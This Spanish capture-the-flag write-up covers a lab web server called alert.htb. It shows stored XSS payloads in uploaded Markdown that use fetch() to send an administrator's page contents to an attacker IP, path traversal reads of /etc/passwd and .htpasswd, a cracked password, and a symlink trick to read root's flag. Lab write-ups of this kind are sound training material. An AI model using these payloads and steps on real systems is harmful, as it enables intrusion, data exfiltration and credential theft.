1. Escaneo de puertos tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. Enumeración
Lanzamos la herramienta gobuster para realizar un directory listing:
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://alert.htb/ -t 200
Y obtenemos la siguiente salida:
/css (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/messages (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/uploads (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
Si nos dirigimos al endpoint /uploads, podemos observar una pagina web en la que se pueden subir archivos .md. Vemos que es vulnerable a XSS, por ejemplo subien el archivo .md con el siguiente contenido <script>alert('xss');</script> se ejecuta dicho código al visualizar dicho archivo.
3. Explotacion
En la sección de "About Us" vemos el siguiente mensaje:
"Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours."
Entonces podemos entender que si subimos un archivo .md y le pasamos el enlace de dicho archivo, el adminsitrador del sistema lo revisará y abrirá dicho archivo, ejecutando el código y pudiendo inyectar código en su propio navegador.
Empezamos intentando obtener la cookie de sesion del administrador, ejecutando lo siguiente:
# python -m server.http 80
Y el siguiente contenido en el .md:
<script>document.location='http://10.10.14.49?c='+document.cookie</script>
Pero observamos como no somos capaces de ver ningún contenido. Podemos probar a obtener el contenido de la pagina que está viendo el propio usuario administrador, es decir el endpoint /messages. Para ello establecemos el siguiente contenido en el .md:
<script>
var url = "http://alert.htb/index.php?page=messages"
var attacker = "http://10.10.14.49:80/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
</script>
Y vemos como obtenemos la siguiente respuesta en nuestro servidor web:
Alert - Markdown Viewer
Markdown Viewer
Contact Us
About Us
Donate
Messages
Messages2024-03-10_15-48-34.txt
© 2024 Alert. All rights reserved.
Utilizando los directorios que descubrimos con gobuster, intentamos obtener el contenido de dicho archivo. Por lo que establecemos el siguiente contenido en el .md:
<script>
var url = "http://alert.htb/messages.php?file=2024-03-10_15-48-34.txt"
var attacker = "http://10.10.14.49:80/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
</script>
Pero vemos que de nuevo no obtenemos nada. Intentamos entonces un path traversal en dicho endpoint, estableciendo el siguiente contenido en el archivo .md:
<script>
var url = "http://alert.htb/messages.php?file=../../../../../../../etc/passwd"
var attacker = "http://10.10.14.49:80/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
</script>
Y vemos que es vulnerable, obteniendo la siguiente respuesta:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
Podemos probar a obtener la configuracion del apache en busca de otros servicios web. Para ello establecemos el siguiente contenido en el archivo .md:
<script>
var url = "http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf"
var attacker = "http://10.10.14.49:80/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
</script>
Obtenemos la siguiente respuesta y vemos que hay otro dominio DNS:
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Si accedemos al archivo que se encuentra en el endpoint /var/www/statistics.alert.htb/.htpasswd vemos el siguiente contenido:
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Lo que se trata de un hash APR1-MD5. Lo intentamos bruteforcear con hashcat:
# hashcat -m 1600 hashes /usr/share/wordlists/rockyou.txt
Y obtenemos la siguientes credenciales:
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
Probamos a acceder con ssh utilizando dichas credenciales y obvervamos como tenemos acceso. Por lo que somos capaces de obtener la flag de usuario.
3. Escalado de privilegios
Si listamos las interfaces de red de la maquina vemos lo siguiente:
$ netstat -lntu
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 127.0.0.53:53 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
Vemos que en el puerto 8080 existe los que parece un servicio web. Por lo que forardeamos a nuestra máquina para obtener así un acceso a el:
# ssh -L 1234:127.0.0.1:8080 albert@alert.htb
Si accedemos a dicho servicio podemos ver un servicio llamado website-monitor. Buscando en internet pode descubrir el repositorio oficial en el siguiente enlace https://neatnik.net/dispenser/?project=website-monitor.
En la máquina objetivo podemos ver la carpeta local en la que se guardan todos sus archivos:
# cd /opt/website-monitor
Vemos que en la carpeta /monitors se están actualizando datos constantemente, y que tienen permisos de root. También podemos ver, que podemos listar dichos archivos en el navegador mediante el siguiente endpoint http://127.0.0.1:8080/monitors/statistics.alert.htb.
Por lo que podemos crear un enlace simbólico que apunte al archivo /root/root.txt y ver la flag del usuario root:
# ln -s /root/root.txt root.txt
Si accedemos al endpoit http://127.0.0.1:8080/monitors/statistics.alert.htb/root.txt podemos obervar la flag del usuario root.